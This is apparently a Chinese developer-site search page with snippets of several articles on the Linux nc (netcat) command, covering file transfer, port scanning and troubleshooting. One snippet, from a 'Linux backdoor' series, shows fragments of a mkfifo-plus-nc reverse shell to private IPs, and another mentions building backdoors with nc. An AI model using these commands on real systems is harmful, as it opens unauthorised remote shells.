首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Linux--nc命令

但是当文件过大的时候,例如前段时间需要传输一个1.7G的堆dump文件到本地,就让我犯了难,sz命令直接卡死,根本下载不下来,这个时候nc就派上了用场。...环境: 本地MAC OS,远程:centos,分别安装nc命令; 1....文件传输 第一步: 在本地启动一个接收文件的服务:nc -l 5555 > heapdump-1591610687839.hprof端口随便指定,不与其他重复即可;文件名按照自己需求指定;注意命令中的空格...; 第二步: 在远程服务器启动如下命令,将文件传输到本地端口。...文件传输(其实就是将以上的客户端和服务端切换一下) 第一步: 现在远程服务器,启动发送文件的命令nc -l 5555 < heapdump-1591610687839.hprof 第二步: 表示从远程服务器的

4.1K10

nc命令详解

-k:强制nc在其当前连接完成后继续侦听另一个连接。-k 必须与 -l 一起使用。 -l:用于指定nc将处于侦听模式,即作为server侦听指定端口。...nc命令的用法示例: 1. 测试远程主机指定tcp/udp端口是否开放 nc -zv 8.8.8.8 53 nc -uzv 8.8.8.8 53 2....扫描指定范围的端口(扫TCP端口的速度很慢): nc -zv 192.168.1.123 20-1024 nc -uzv 192.168.1.123 20-1024 PS: nc和ncat命令Linux...首先,nc是"netcat"的缩写,而ncat则是"netcat (from Nmap)"的缩写,其中nc来自于netcat原始版本,而ncat则来自于nmap项目。...最后,需要注意的是,在某些Linux发行版中,nc已经被替换为了ncat,因此在使用nc命令时需要注意查看命令的具体帮助信息。 参考文档: https://manpages.org/nc

54010

nc命令用法举例

准备两台机器,用于测试nc命令的用法 主机A:ip地址 10.0.1.161 主机B:ip地址 10.0.1.162 两台机器先安装nc和nmap的包 yum install nc -y yum install...上面命令也可以写成 nc -vzw 2 10.0.1.161 9999 ? 客户端测试,测试方法4(和方法3相似,但用处更大) nc可以可以扫描连续端口,这个作用非常重要。...客户端测试,测试方法1 nc -vuz 10.0.1.161 9998 由于udp的端口无法在客户端使用telnet去测试,我们可以使用nc命令去扫描(前面提到nc还可以用来扫描端口) (telnet是运行于...B机器使用nmap命令去扫描此udp端口,在扫描过程中,导致A机器的nc退出监听。...方法2,传输文件演示(先启动发送命令) 步骤1,先在B机器上,启动发送文件命令 下面命令表示通过本地的9992端口发送test.mv文件 nc -l 9992 <test.mv ?

12.8K10

每天学一个 Linux 命令(91):nc

命令简介 nc 命令是一款功能强大的网络工具。它是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。...这里有一个坑,在CentOS7.X 中使用yum install -y nc安装的nc实际安装的是nmap-ncat(ncat命令),但ncat这个命令没有端口扫描功能,但为何在系统中又可以使用nc命令呢...,如下: [root@centos7 ~]# which nc /usr/bin/nc [root@centos7 ~]# ls -l /usr/bin/nc lrwxrwxrwx 1 root root...命令时,实际执行的是ncat命令,解决文案如下:下载 nc软件包(https://sourceforge.net/projects/netcat/files/netcat/0.7.1/),上传解压并编译安装...Basic usages: connect to somewhere: nc [options] hostname port [port] ... listen for inbound: nc

1.5K50

Linux网络命令必知必会之瑞士军刀 nc(netcat)

使用 UDP,默认是 TCP -v:显示详细信息 -w:设定超时时间(只适合用在 Client 端) -d:禁止从标准输入读取数据,也就是客户端输入数据不会发送到服务端 -k:让服务端保持连接,不断开 Linux...系统默认没有安装 nc,可以用下面的方法安装: # centos yum install nc # ubuntu apt-get install netcat 建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接...我们下面就使用 nc 来建立一个 C/S 的聊天室。...| grep nc nc 1966 root 3u IPv6 19317 0t0 UDP *:6000 nc 1976...端口扫描 端口扫描是一个非常重要的功能,很多时候系统管理员会通过扫描服务器上端口,来识别系统中漏洞,nc 工具提供了非常方便的操作: nc -vz 192.168.0.117 1-100 这条命令扫描

10.6K11

nc 反弹shell ​| Linux 后门系列

---- 关于nc之前文章就已经讲过了,不过我发现不同 linuxnc不太一样 ?...原理其实就是管道技术 参考文章: https://www.cnblogs.com/old-path-white-cloud/p/11685558.html 本来我对自己的Linux知识还是挺有信心的,不过最近研究了这些...Linux 后门之后发现我竟然对这些命令有些犹豫(其实就是学艺不精啦) 我对这个 rm -f /tmp/f 就十分不理解,实验之后我发现,没错,就是删除 /tmp/f 这个文件,没啥特殊的,就是怕mkfifo...192.168.1.38 5555 > /tmp/f ---- 本来我想如果加上 -k 选项是不是可以做一个持久后门,经过尝试, 加上 -k 只能保证端口开放,没有办法保持命令执行 如果你遇到的nc...nc 192.168.1.101 6666 连接 192.168.1.101 的 6666 端口,并将 /bin/sh的输出传递给这个连接作为输入 ---- 巧用 ` 来执行命令 nc 192.168.1.38

2.9K30

一文让你熟练掌握Linux的ncat(nc)命令

一文让你熟练掌握Linux的ncat(nc)命令 ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。...在大多数 Debian 发行版中,nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7/RHEL 7 的最小化安装中,nc 并不会默认被安装。 你需要用下列命令手工安装。...在本文中,我们会通过下面这些例子来学习如何使用 nc 命令。 1) 监听入站连接 通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。...2) 连接远程系统 使用下面命令可以用 nc 来连接远程系统 ncat IP_address port_number 我们来看个例子 ncat 192.168.1.100 80 这会创建一个连接,连接到...我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心 7) 通过 nc 创建后门 nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。

13.4K21

nc命令卡住不返回的分析

具体通过如下命令获取zk的状态: echo stat | nc 192.168.73.77 2181 出现问题时,发现nc命令一直没有返回,导致无法执行后续的步骤(程序压根没启动)。...不信邪,再多试几次,nc命令均正确返回退出,并且能获取到对应的状态信息,看来是个偶现问题。 既然命令当前执行都正常,难道是执行nc命令的那个时刻,zk出现了异常导致没有响应?...既然zk都没有错误日志信息,那只能先分析下nc命令当前卡在哪里了。 顺着这个思路,先netstat看了下nc的连接情况,发现与zk的连接处于FIN_WAIT2状态。...结合上面说的FIN_WAIT2,就可以知道nc命令为什么不退出了。...通过增加参数“+vvvvvv”查看nc命令执行过程中的输出,对比正常情况和异常情况,可以清楚的看到这一点: 正常退出的情况: 异常不退出的情况: 清楚了问题的所有环节,只剩下为什么nc命令没有收到

2.5K30

扫码

添加站长 进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

    运营活动

    活动名称
    广告关闭
    领券